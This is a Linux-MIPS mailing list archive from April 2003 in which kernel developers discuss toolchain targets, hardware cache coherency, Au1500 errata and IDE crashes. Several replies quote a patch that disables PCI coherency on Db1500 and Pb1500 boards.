X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1890
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: geert@linux-m68k.org
Precedence: bulk
X-list: linux-mips

On Tue, 1 Apr 2003, Brian Murphy wrote:
> Ralf Baechle wrote:
> >The options -D__linux__ -D_MIPS_SZLONG=32 and the error messages make it
> >look like you're forcing a non-Linux toolchain into building a kernel.
> >
> What is the problem with this? At least a mips(el)-elf should have no 
> problem compiling the kernel
> (at least apart from the check you have somewhere which gives an error 
> if you try).

Nope, I actually tried it yesterday with a 3.2.2. mips-elf-gcc I had lying
around from some other project, and it complained about the missing __linux__
and _MIPS_SZLONG.

Gr{oetje,eeting}s,

						Geert

--
Geert Uytterhoeven -- There's lots of Linux beyond ia32 -- geert@linux-m68k.org

In personal conversations with technical people, I call myself a hacker. But
when I'm talking to journalists I just say "programmer" or something like that.
							    -- Linus Torvalds


From ralf@linux-mips.net Tue Apr  1 16:26:00 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 01 Apr 2003 16:26:01 +0100 (BST)
Received: from p508B7959.dip.t-dialin.net ([IPv6:::ffff:80.139.121.89]:27078
	"EHLO dea.linux-mips.net") by linux-mips.org with ESMTP
	id <S8225073AbTDAP0A>; Tue, 1 Apr 2003 16:26:00 +0100
Received: (from ralf@localhost)
	by dea.linux-mips.net (8.11.6/8.11.6) id h31FPFc17170;
	Tue, 1 Apr 2003 17:25:15 +0200
Date: Tue, 1 Apr 2003 17:25:15 +0200
From: Ralf Baechle <ralf@linux-mips.org>
To: Geert Uytterhoeven <geert@linux-m68k.org>
Cc: Brian Murphy <brm@tt.dk>,
	"Neeraj Garg, Noida" <ngarg@noida.hcltech.com>,
	Linux/MIPS Development <linux-mips@linux-mips.org>
Subject: Re: Linux-MIPS compilation
Message-ID: <20030401172515.A17111@linux-mips.org>
References: <3E899ABF.3070704@tt.dk> <Pine.GSO.4.21.0304011657130.23134-100000@vervain.sonytel.be>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <Pine.GSO.4.21.0304011657130.23134-100000@vervain.sonytel.be>; from geert@linux-m68k.org on Tue, Apr 01, 2003 at 04:58:43PM +0200
Return-Path: <ralf@linux-mips.net>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1891
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ralf@linux-mips.org
Precedence: bulk
X-list: linux-mips

On Tue, Apr 01, 2003 at 04:58:43PM +0200, Geert Uytterhoeven wrote:

> Nope, I actually tried it yesterday with a 3.2.2. mips-elf-gcc I had lying
> around from some other project, and it complained about the missing __linux__
> and _MIPS_SZLONG.

mips-elf is not mips-linux.

  Ralf

From ralf@linux-mips.net Tue Apr  1 18:27:47 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 01 Apr 2003 18:27:48 +0100 (BST)
Received: from p508B7959.dip.t-dialin.net ([IPv6:::ffff:80.139.121.89]:58056
	"EHLO dea.linux-mips.net") by linux-mips.org with ESMTP
	id <S8225073AbTDAR1r>; Tue, 1 Apr 2003 18:27:47 +0100
Received: (from ralf@localhost)
	by dea.linux-mips.net (8.11.6/8.11.6) id h31HRii19587;
	Tue, 1 Apr 2003 19:27:44 +0200
Date: Tue, 1 Apr 2003 19:27:44 +0200
From: Ralf Baechle <ralf@linux-mips.org>
To: Hartvig Ekner <hartvig@ekner.info>
Cc: Linux MIPS mailing list <linux-mips@linux-mips.org>
Subject: Re: Patch to make c-mips32.c compile when HW coherency is used
Message-ID: <20030401192743.A31459@linux-mips.org>
References: <3E898800.450410D3@ekner.info>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <3E898800.450410D3@ekner.info>; from hartvig@ekner.info on Tue, Apr 01, 2003 at 02:37:20PM +0200
Return-Path: <ralf@linux-mips.net>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1892
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ralf@linux-mips.org
Precedence: bulk
X-list: linux-mips

On Tue, Apr 01, 2003 at 02:37:20PM +0200, Hartvig Ekner wrote:

> The patch totally removes the dma_cache functions and the function
> pointers when the kernel is compiled for HW coherency. Previously it
> didn't compile at all since the function pointers are non-existant in
> this case.
> 
> The same problem exists in all the other c-*.c files in arch/mips/mm,
> so maybe there is something which I don't understand?

The reason is trivial - to this date only two platforms do support hw
coherency for I/O, the R10000-based Origin 200/2000 aka SGI IP27 and
Sibyte SB1-based platforms.

Fortunately the number of coherent platforms is increasing.  The
extra hardware costs very little these days but it dramatically helping
to guarantee system performance and correctness of system software.

  Ralf

From ppopov@mvista.com Tue Apr  1 19:21:58 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 01 Apr 2003 19:21:59 +0100 (BST)
Received: from gateway-1237.mvista.com ([IPv6:::ffff:12.44.186.158]:62972 "EHLO
	av.mvista.com") by linux-mips.org with ESMTP id <S8225275AbTDASV6>;
	Tue, 1 Apr 2003 19:21:58 +0100
Received: from zeus.mvista.com (av [127.0.0.1])
	by av.mvista.com (8.9.3/8.9.3) with ESMTP id KAA31901;
	Tue, 1 Apr 2003 10:21:43 -0800
Subject: Re: Au1500 hardware cache coherency
From: Pete Popov <ppopov@mvista.com>
To: Hartvig Ekner <hartvig@ekner.info>
Cc: Pete@ekner.info, Popov@ekner.info,
	Linux MIPS mailing list <linux-mips@linux-mips.org>
In-Reply-To: <3E8944EA.6E7AE06C@ekner.info>
References: <3E882FB8.BBFDACE2@ekner.info> <3E8853B3.9080902@amd.com>
	 <3E885B68.6927451E@ekner.info> <3E8883B8.1000000@amd.com>
	 <3E889602.62B7AB6B@ekner.info> <1049142818.26677.68.camel@zeus.mvista.com>
	 <3E8944EA.6E7AE06C@ekner.info>
Content-Type: text/plain
Organization: MontaVista Software
Message-Id: <1049221364.26674.248.camel@zeus.mvista.com>
Mime-Version: 1.0
X-Mailer: Ximian Evolution 1.2.3 
Date: 01 Apr 2003 10:22:44 -0800
Content-Transfer-Encoding: 7bit
Return-Path: <ppopov@mvista.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1893
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ppopov@mvista.com
Precedence: bulk
X-list: linux-mips


> > Config[OD] is set in setup.c and should not be cleared afterward.

> Due to errata #4, it is cleared whenever macroes like set_c0_config or change_c0_config is
> called. This happens in several places:

>     au1000_restart (probably doesn't matter?)
>     cache parity error exception (doesn't matter, we're probably dying anyway)
>     ld_mmu_mips32 (in c-mips32.c)

Thanks for bringing this to my attention. I'll take a look at it, but
I'm leaving this Thursday for two weeks and won't be able to get to it
until after 4/21.

> I'm not quite sure whether ld_mmu_mips32 is called after au1x00 setup, but if it is,
> the bit is cleared, never to be set again. Maybe the c0_config macroes should be changed
> due to errata #4?

I doubt Ralf is going to change common macros to fix a specific bug.

> > Can you send me your test and exact instructions on how you're
> > duplicating the error? I won't have time to look at it until after 4/20
> > though.
> >
> 
> Sure. However, I will first try to make sure that the kernel does not have the same problem on another
> non AU1500 platform.
> 
> BTW, are you using the HPT onboard IDE controller? Last time I tried, it wasn't functional, the kernel crashed
> during boot when kudzu was doing some HW probing on the IDE stuff. I'm using a plug-in promise card
> (20268 based).

The Pb1500 HPT370 driver works fine for me, and now the Db1500 HPT371
seems to work as well. However, with the 2.4.20-pre4 kernel, both boards
crash with a kernel panic when doing a very large 'cp -a'. I don't know
at this point what the problem is. The MV 2.4.18 based kernel passes the
same stress tests repeatedly on the Pb1500. So either something got
broken between 2.4.18 and 2.4.20-pre4, or the 2.4.18 kernel is getting
lucky.  The boards are still 'usable' with a 2.4.20-pre4 and a hard disk
cause I can boot with a disk based root fs and run lmbench of the disk.
But it's quite possible that the problem you observed is caused by the
same bug I'm encountering. 

I think I have a Promise IDE card at home and I'll run a test with it
when I get back. It would be interesting to see if that driver causes
the same problems.

Pete


From ppopov@mvista.com Tue Apr  1 19:22:45 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 01 Apr 2003 19:22:46 +0100 (BST)
Received: from gateway-1237.mvista.com ([IPv6:::ffff:12.44.186.158]:18173 "EHLO
	av.mvista.com") by linux-mips.org with ESMTP id <S8225196AbTDASWp>;
	Tue, 1 Apr 2003 19:22:45 +0100
Received: from zeus.mvista.com (av [127.0.0.1])
	by av.mvista.com (8.9.3/8.9.3) with ESMTP id KAA31961;
	Tue, 1 Apr 2003 10:22:33 -0800
Subject: Re: Au1500 hardware cache coherency
From: Pete Popov <ppopov@mvista.com>
To: Hartvig Ekner <hartvig@ekner.info>
Cc: Pete@ekner.info, Popov@ekner.info,
	Linux MIPS mailing list <linux-mips@linux-mips.org>
In-Reply-To: <1049221364.26674.248.camel@zeus.mvista.com>
References: <3E882FB8.BBFDACE2@ekner.info> <3E8853B3.9080902@amd.com>
	 <3E885B68.6927451E@ekner.info> <3E8883B8.1000000@amd.com>
	 <3E889602.62B7AB6B@ekner.info> <1049142818.26677.68.camel@zeus.mvista.com>
	 <3E8944EA.6E7AE06C@ekner.info> <1049221364.26674.248.camel@zeus.mvista.com>
Content-Type: text/plain
Organization: MontaVista Software
Message-Id: <1049221414.26883.250.camel@zeus.mvista.com>
Mime-Version: 1.0
X-Mailer: Ximian Evolution 1.2.3 
Date: 01 Apr 2003 10:23:35 -0800
Content-Transfer-Encoding: 7bit
Return-Path: <ppopov@mvista.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1894
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ppopov@mvista.com
Precedence: bulk
X-list: linux-mips

As Ralf pointed out, 

s/2.4.20-pre4/2.4.21-pre4  :)

Pete

On Tue, 2003-04-01 at 10:22, Pete Popov wrote:
> > > Config[OD] is set in setup.c and should not be cleared afterward.
> 
> > Due to errata #4, it is cleared whenever macroes like set_c0_config or change_c0_config is
> > called. This happens in several places:
> 
> >     au1000_restart (probably doesn't matter?)
> >     cache parity error exception (doesn't matter, we're probably dying anyway)
> >     ld_mmu_mips32 (in c-mips32.c)
> 
> Thanks for bringing this to my attention. I'll take a look at it, but
> I'm leaving this Thursday for two weeks and won't be able to get to it
> until after 4/21.
> 
> > I'm not quite sure whether ld_mmu_mips32 is called after au1x00 setup, but if it is,
> > the bit is cleared, never to be set again. Maybe the c0_config macroes should be changed
> > due to errata #4?
> 
> I doubt Ralf is going to change common macros to fix a specific bug.
> 
> > > Can you send me your test and exact instructions on how you're
> > > duplicating the error? I won't have time to look at it until after 4/20
> > > though.
> > >
> > 
> > Sure. However, I will first try to make sure that the kernel does not have the same problem on another
> > non AU1500 platform.
> > 
> > BTW, are you using the HPT onboard IDE controller? Last time I tried, it wasn't functional, the kernel crashed
> > during boot when kudzu was doing some HW probing on the IDE stuff. I'm using a plug-in promise card
> > (20268 based).
> 
> The Pb1500 HPT370 driver works fine for me, and now the Db1500 HPT371
> seems to work as well. However, with the 2.4.20-pre4 kernel, both boards
> crash with a kernel panic when doing a very large 'cp -a'. I don't know
> at this point what the problem is. The MV 2.4.18 based kernel passes the
> same stress tests repeatedly on the Pb1500. So either something got
> broken between 2.4.18 and 2.4.20-pre4, or the 2.4.18 kernel is getting
> lucky.  The boards are still 'usable' with a 2.4.20-pre4 and a hard disk
> cause I can boot with a disk based root fs and run lmbench of the disk.
> But it's quite possible that the problem you observed is caused by the
> same bug I'm encountering. 
> 
> I think I have a Promise IDE card at home and I'll run a test with it
> when I get back. It would be interesting to see if that driver causes
> the same problems.
> 
> Pete


From ppopov@mvista.com Tue Apr  1 19:29:49 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 01 Apr 2003 19:29:50 +0100 (BST)
Received: from gateway-1237.mvista.com ([IPv6:::ffff:12.44.186.158]:6639 "EHLO
	av.mvista.com") by linux-mips.org with ESMTP id <S8225195AbTDAS3t>;
	Tue, 1 Apr 2003 19:29:49 +0100
Received: from zeus.mvista.com (av [127.0.0.1])
	by av.mvista.com (8.9.3/8.9.3) with ESMTP id KAA32328;
	Tue, 1 Apr 2003 10:29:42 -0800
Subject: Re: Patch to disable PCI coherency on AU1500 platforms
From: Pete Popov <ppopov@mvista.com>
To: Hartvig Ekner <hartvig@ekner.info>
Cc: Linux MIPS mailing list <linux-mips@linux-mips.org>
In-Reply-To: <3E898652.2717AEF2@ekner.info>
References: <3E898652.2717AEF2@ekner.info>
Content-Type: text/plain
Organization: MontaVista Software
Message-Id: <1049221843.26884.256.camel@zeus.mvista.com>
Mime-Version: 1.0
X-Mailer: Ximian Evolution 1.2.3 
Date: 01 Apr 2003 10:30:43 -0800
Content-Transfer-Encoding: 7bit
Return-Path: <ppopov@mvista.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1895
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ppopov@mvista.com
Precedence: bulk
X-list: linux-mips


I have a Pb1500 but like I said, I won't be able to get to it until end
of the month. I would really like to run some stress tests before
applying such core patches.  Can you wait until I get back?

Pete

On Tue, 2003-04-01 at 04:30, Hartvig Ekner wrote:
> The patch below sets the NC bit in the PCI_CFG register to disable HW coherency when
> running non-coherent. Until now, this bit was cleared which means corruption when using PCI
> DMA masters, even if the kernel was correctly compiled with CONFIG_NONCOHERENT_IO.
> 
> Pb1500 specific notes: I don't have a PB1500, so I cannot test if it works there. Note: I also
> removed what I think was an extraneous write to the PCI_CMEM register, so if somebody
> could test this on a PB1500 it would be great.
> 
> /Hartvig
> 
> 
> 
> ______________________________________________________________________
> 
> Index: db1x00/setup.c
> ===================================================================
> RCS file: /home/cvs/linux/arch/mips/au1000/db1x00/Attic/setup.c,v
> retrieving revision 1.1.2.4
> diff -u -r1.1.2.4 setup.c
> --- db1x00/setup.c	21 Mar 2003 19:00:46 -0000	1.1.2.4
> +++ db1x00/setup.c	1 Apr 2003 12:14:54 -0000
> @@ -78,9 +78,8 @@
>  void __init au1x00_setup(void)
>  {
>  	char *argptr;
> -	u32 pin_func, static_cfg0;
> -	u32 sys_freqctrl, sys_clksrc;
> -	u32 prid = read_c0_prid();
> +	u32 pin_func;
> +//	u32 prid = read_c0_prid();
>  
>  	argptr = prom_getcmdline();
>  
> @@ -187,6 +186,19 @@
>  
>  #ifdef CONFIG_BLK_DEV_IDE
>  	ide_ops = &std_ide_ops;
> +#endif
> +
> +#ifdef CONFIG_PCI
> +	/* Although YAMON has setup the PCI controller, some things
> +	   may need to change. Eventually, all the PCI initialization
> +	   should be done here (as in eg. ../pb1500/setup.c)
> +	*/
> +
> +#ifdef CONFIG_NONCOHERENT_IO
> +	/* Must disable PCI coherency if running non-coherent */
> +
> +	au_writel(au_readl(Au1500_PCI_CFG) | (1<<16), Au1500_PCI_CFG);
> +#endif
>  #endif
>  
>  #if 0
> Index: pb1500/setup.c
> ===================================================================
> RCS file: /home/cvs/linux/arch/mips/au1000/pb1500/setup.c,v
> retrieving revision 1.1.2.12
> diff -u -r1.1.2.12 setup.c
> --- pb1500/setup.c	21 Mar 2003 19:00:47 -0000	1.1.2.12
> +++ pb1500/setup.c	1 Apr 2003 12:14:54 -0000
> @@ -35,6 +35,7 @@
>  #include <linux/console.h>
>  #include <linux/mc146818rtc.h>
>  #include <linux/delay.h>
> +#include <linux/proc_fs.h>
>  
>  #include <asm/cpu.h>
>  #include <asm/bootinfo.h>
> @@ -90,6 +91,7 @@
>  	char *argptr;
>  	u32 pin_func, static_cfg0;
>  	u32 sys_freqctrl, sys_clksrc;
> +	u32 pcicfg;
>  
>  	argptr = prom_getcmdline();
>  
> @@ -232,15 +234,25 @@
>  
>  #ifdef CONFIG_PCI
>  	// Setup PCI bus controller
> -	au_writel(0, Au1500_PCI_CMEM);
> -	au_writel(0x00003fff, Au1500_CFG_BASE);
> +
> +	au_writel(0x00003fff, Au1500_PCI_CMEM);
> +
>  #if defined(__MIPSEB__)
> -	au_writel(0xf | (2<<6) | (1<<4), Au1500_PCI_CFG);
> +	pcicfg = 0xf | (2<<6) | (1<<4);
>  #else
> -	au_writel(0xf, Au1500_PCI_CFG);
> +	pcicfg = 0xf;
>  #endif
> +
> +#ifdef CONFIG_NONCOHERENT_IO
> +	/* Must disable PCI coherency if running non-coherent */
> +
> +	pcicfg |= (1<<16);
> +#endif
> +
> +	au_writel(pcicfg,     Au1500_PCI_CFG);
> +
>  	au_writel(0xf0000000, Au1500_PCI_MWMASK_DEV);
> -	au_writel(0, Au1500_PCI_MWBASE_REV_CCL);
> +	au_writel(0,          Au1500_PCI_MWBASE_REV_CCL);
>  	au_writel(0x02a00356, Au1500_PCI_STATCMD);
>  	au_writel(0x00003c04, Au1500_PCI_HDRTYPE);
>  	au_writel(0x00000008, Au1500_PCI_MBAR);


From hartvig@ekner.info Tue Apr  1 21:00:00 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 01 Apr 2003 21:00:03 +0100 (BST)
Received: from pasmtp.tele.dk ([IPv6:::ffff:193.162.159.95]:43782 "EHLO
	pasmtp.tele.dk") by linux-mips.org with ESMTP id <S8225193AbTDAUAA>;
	Tue, 1 Apr 2003 21:00:00 +0100
Received: from ekner.info (0x83a4a968.virnxx10.adsl-dhcp.tele.dk [131.164.169.104])
	by pasmtp.tele.dk (Postfix) with ESMTP
	id BF09DB544; Tue,  1 Apr 2003 21:59:57 +0200 (CEST)
Message-ID: <3E89F17B.5EFA2E37@ekner.info>
Date: Tue, 01 Apr 2003 22:07:23 +0200
From: Hartvig Ekner <hartvig@ekner.info>
X-Mailer: Mozilla 4.79 [en] (X11; U; Linux 2.4.18-19.7.x i686)
X-Accept-Language: en
MIME-Version: 1.0
To: Pete Popov <ppopov@mvista.com>
Cc: Linux MIPS mailing list <linux-mips@linux-mips.org>
Subject: Re: Patch to disable PCI coherency on AU1500 platforms
References: <3E898652.2717AEF2@ekner.info> <1049221843.26884.256.camel@zeus.mvista.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Return-Path: <hartvig@ekner.info>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1896
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: hartvig@ekner.info
Precedence: bulk
X-list: linux-mips

Sure, no problem waiting - I don't have the problem  any more :-) However, if you don't have this
fix in your kernel, you should see massive PCI transfer errors (as I did), which can explain why your "cp -a" fails.
OTOH, I can't explain why you don't see the same problem on the older 2.4.18 kernel you mentioned
was working just fine.

HPT371 also works here (== it boots without crashing midstream during boot) after updating to the
latest CVS with the new IDE code. I will run some stress tests to see if the residual errors (even
with PCI_CFG[NC] set) also occur on this controller, or only on the Promise.

/Hartvig

Pete Popov wrote:

> I have a Pb1500 but like I said, I won't be able to get to it until end
> of the month. I would really like to run some stress tests before
> applying such core patches.  Can you wait until I get back?
>
> Pete
>
> On Tue, 2003-04-01 at 04:30, Hartvig Ekner wrote:
> > The patch below sets the NC bit in the PCI_CFG register to disable HW coherency when
> > running non-coherent. Until now, this bit was cleared which means corruption when using PCI
> > DMA masters, even if the kernel was correctly compiled with CONFIG_NONCOHERENT_IO.
> >
> > Pb1500 specific notes: I don't have a PB1500, so I cannot test if it works there. Note: I also
> > removed what I think was an extraneous write to the PCI_CMEM register, so if somebody
> > could test this on a PB1500 it would be great.
> >
> > /Hartvig
> >
> >
> >
> > ______________________________________________________________________
> >
> > Index: db1x00/setup.c
> > ===================================================================
> > RCS file: /home/cvs/linux/arch/mips/au1000/db1x00/Attic/setup.c,v
> > retrieving revision 1.1.2.4
> > diff -u -r1.1.2.4 setup.c
> > --- db1x00/setup.c    21 Mar 2003 19:00:46 -0000      1.1.2.4
> > +++ db1x00/setup.c    1 Apr 2003 12:14:54 -0000
> > @@ -78,9 +78,8 @@
> >  void __init au1x00_setup(void)
> >  {
> >       char *argptr;
> > -     u32 pin_func, static_cfg0;
> > -     u32 sys_freqctrl, sys_clksrc;
> > -     u32 prid = read_c0_prid();
> > +     u32 pin_func;
> > +//   u32 prid = read_c0_prid();
> >
> >       argptr = prom_getcmdline();
> >
> > @@ -187,6 +186,19 @@
> >
> >  #ifdef CONFIG_BLK_DEV_IDE
> >       ide_ops = &std_ide_ops;
> > +#endif
> > +
> > +#ifdef CONFIG_PCI
> > +     /* Although YAMON has setup the PCI controller, some things
> > +        may need to change. Eventually, all the PCI initialization
> > +        should be done here (as in eg. ../pb1500/setup.c)
> > +     */
> > +
> > +#ifdef CONFIG_NONCOHERENT_IO
> > +     /* Must disable PCI coherency if running non-coherent */
> > +
> > +     au_writel(au_readl(Au1500_PCI_CFG) | (1<<16), Au1500_PCI_CFG);
> > +#endif
> >  #endif
> >
> >  #if 0
> > Index: pb1500/setup.c
> > ===================================================================
> > RCS file: /home/cvs/linux/arch/mips/au1000/pb1500/setup.c,v
> > retrieving revision 1.1.2.12
> > diff -u -r1.1.2.12 setup.c
> > --- pb1500/setup.c    21 Mar 2003 19:00:47 -0000      1.1.2.12
> > +++ pb1500/setup.c    1 Apr 2003 12:14:54 -0000
> > @@ -35,6 +35,7 @@
> >  #include <linux/console.h>
> >  #include <linux/mc146818rtc.h>
> >  #include <linux/delay.h>
> > +#include <linux/proc_fs.h>
> >
> >  #include <asm/cpu.h>
> >  #include <asm/bootinfo.h>
> > @@ -90,6 +91,7 @@
> >       char *argptr;
> >       u32 pin_func, static_cfg0;
> >       u32 sys_freqctrl, sys_clksrc;
> > +     u32 pcicfg;
> >
> >       argptr = prom_getcmdline();
> >
> > @@ -232,15 +234,25 @@
> >
> >  #ifdef CONFIG_PCI
> >       // Setup PCI bus controller
> > -     au_writel(0, Au1500_PCI_CMEM);
> > -     au_writel(0x00003fff, Au1500_CFG_BASE);
> > +
> > +     au_writel(0x00003fff, Au1500_PCI_CMEM);
> > +
> >  #if defined(__MIPSEB__)
> > -     au_writel(0xf | (2<<6) | (1<<4), Au1500_PCI_CFG);
> > +     pcicfg = 0xf | (2<<6) | (1<<4);
> >  #else
> > -     au_writel(0xf, Au1500_PCI_CFG);
> > +     pcicfg = 0xf;
> >  #endif
> > +
> > +#ifdef CONFIG_NONCOHERENT_IO
> > +     /* Must disable PCI coherency if running non-coherent */
> > +
> > +     pcicfg |= (1<<16);
> > +#endif
> > +
> > +     au_writel(pcicfg,     Au1500_PCI_CFG);
> > +
> >       au_writel(0xf0000000, Au1500_PCI_MWMASK_DEV);
> > -     au_writel(0, Au1500_PCI_MWBASE_REV_CCL);
> > +     au_writel(0,          Au1500_PCI_MWBASE_REV_CCL);
> >       au_writel(0x02a00356, Au1500_PCI_STATCMD);
> >       au_writel(0x00003c04, Au1500_PCI_HDRTYPE);
> >       au_writel(0x00000008, Au1500_PCI_MBAR);


From ppopov@mvista.com Tue Apr  1 21:40:53 2003
Received: with ECARTIS (v1.0.0; list linux-mips); Tue, 01 Apr 2003 21:40:54 +0100 (BST)
Received: from gateway-1237.mvista.com ([IPv6:::ffff:12.44.186.158]:56567 "EHLO
	av.mvista.com") by linux-mips.org with ESMTP id <S8225193AbTDAUkx>;
	Tue, 1 Apr 2003 21:40:53 +0100
Received: from zeus.mvista.com (av [127.0.0.1])
	by av.mvista.com (8.9.3/8.9.3) with ESMTP id MAA05070;
	Tue, 1 Apr 2003 12:39:41 -0800
Subject: Re: Patch to disable PCI coherency on AU1500 platforms
From: Pete Popov <ppopov@mvista.com>
To: Hartvig Ekner <hartvig@ekner.info>
Cc: Linux MIPS mailing list <linux-mips@linux-mips.org>
In-Reply-To: <3E89F17B.5EFA2E37@ekner.info>
References: <3E898652.2717AEF2@ekner.info>
	 <1049221843.26884.256.camel@zeus.mvista.com> <3E89F17B.5EFA2E37@ekner.info>
Content-Type: text/plain
Organization: MontaVista Software
Message-Id: <1049229637.5038.173.camel@zeus.mvista.com>
Mime-Version: 1.0
X-Mailer: Ximian Evolution 1.2.3 
Date: 01 Apr 2003 12:40:44 -0800
Content-Transfer-Encoding: 7bit
Return-Path: <ppopov@mvista.com>
X-Envelope-To: <"|/home/ecartis/ecartis -s linux-mips"> (uid 0)
X-Orcpt: rfc822;linux-mips@linux-mips.org
Original-Recipient: rfc822;linux-mips@linux-mips.org
X-archive-position: 1897
X-ecartis-version: Ecartis v1.0.0
Sender: linux-mips-bounce@linux-mips.org
Errors-to: linux-mips-bounce@linux-mips.org
X-original-sender: ppopov@mvista.com
Precedence: bulk
X-list: linux-mips

On Tue, 2003-04-01 at 12:07, Hartvig Ekner wrote:
> Sure, no problem waiting - I don't have the problem  any more :-)
> However, if you don't have this
> fix in your kernel, you should see massive PCI transfer errors (as I
> did), which can explain why your "cp -a" fails.
> OTOH, I can't explain why you don't see the same problem on the older
> 2.4.18 kernel you mentioned was working just fine.

I don't see the errors you describe.  Even if the IDE problem I'm seeing
is caused by this bug, I still don't see 'massive' pci transfer errors.

I'll check the errata again the silicon version I have.

> HPT371 also works here (== it boots without crashing midstream during
> boot) after updating to the latest CVS with the new IDE code. I will
> run some stress tests to see if the residual errors (even
> with PCI_CFG[NC] set) also occur on this controller, or only on the
> Promise.

Pete

> /Hartvig
> 
> Pete Popov wrote:
> 
> > I have a Pb1500 but like I said, I won't be able to get to it until
> end
> > of the month. I would really like to run some stress tests before
> > applying such core patches.  Can you wait until I get back?
> >
> > Pete
> >
> > On Tue, 2003-04-01 at 04:30, Hartvig Ekner wrote:
> > > The patch below sets the NC bit in the PCI_CFG register to disable HW coherency when
> > > running non-coherent. Until now, this bit was cleared which means corruption when using PCI
> > > DMA masters, even if the kernel was correctly compiled with CONFIG_NONCOHERENT_IO.
> > >
> > > Pb1500 specific notes: I don't have a PB1500, so I cannot test if it works there. Note: I also
> > > removed what I think was an extraneous write to the PCI_CMEM register, so if somebody
> > > could test this on a PB1500 it would be great.
> > >
> > > /Hartvig
> > >
> > >
> > >
> > > ______________________________________________________________________
> > >
> > > Index: db1x00/setup.c
> > > ===================================================================
> > > RCS file: /home/cvs/linux/arch/mips/au1000/db1x00/Attic/setup.c,v
> > > retrieving revision 1.1.2.4
> > > diff -u -r1.1.2.4 setup.c
> > > --- db1x00/setup.c    21 Mar 2003 19:00:46 -0000      1.1.2.4
> > > +++ db1x00/setup.c    1 Apr 2003 12:14:54 -0000
> > > @@ -78,9 +78,8 @@
> > >  void __init au1x00_setup(void)
> > >  {
> > >       char *argptr;
> > > -     u32 pin_func, static_cfg0;
> > > -     u32 sys_freqctrl, sys_clksrc;
> > > -     u32 prid = read_c0_prid();
> > > +     u32 pin_func;
> > > +//   u32 prid = read_c0_prid();
> > >
> > >       argptr = prom_getcmdline();
> > >
> > > @@ -187,6 +186,19 @@
> > >
> > >  #ifdef CONFIG_BLK_DEV_IDE
> > >       ide_ops = &std_ide_ops;
> > > +#endif
> > > +
> > > +#ifdef CONFIG_PCI
> > > +     /* Although YAMON has setup the PCI controller, some things
> > > +        may need to change. Eventually, all the PCI initialization
> > > +        should be done here (as in eg. ../pb1500/setup.c)
> > > +     */
> > > +
> > > +#ifdef CONFIG_NONCOHERENT_IO
> > > +     /* Must disable PCI coherency if running non-coherent */
> > > +
> > > +     au_writel(au_readl(Au1500_PCI_CFG) | (1<<16), Au1500_PCI_CFG);
> > > +#endif
> > >  #endif
> > >
> > >  #if 0
> > > Index: pb1500/setup.c
> > > ===================================================================
> > > RCS file: /home/cvs/linux/arch/mips/au1000/pb1500/setup.c,v
> > > retrieving revision 1.1.2.12
> > > diff -u -r1.1.2.12 setup.c
> > > --- pb1500/setup.c    21 Mar 2003 19:00:47 -0000      1.1.2.12
> > > +++ pb1500/setup.c    1 Apr 2003 12:14:54 -0000
> > > @@ -35,6 +35,7 @@
> > >  #include <linux/console.h>
> > >  #include <linux/mc146818rtc.h>
> > >  #include <linux/delay.h>
> > > +#include <linux/proc_fs.h>
> > >
> > >  #include <asm/cpu.h>
> > >  #include <asm/bootinfo.h>
> > > @@ -90,6 +91,7 @@
> > >       char *argptr;
> > >       u32 pin_func, static_cfg0;
> > >       u32 sys_freqctrl, sys_clksrc;
> > > +     u32 pcicfg;
> > >
> > >       argptr = prom_getcmdline();
> > >
> > > @@ -232,15 +234,25 @@
> > >
> > >  #ifdef CONFIG_PCI
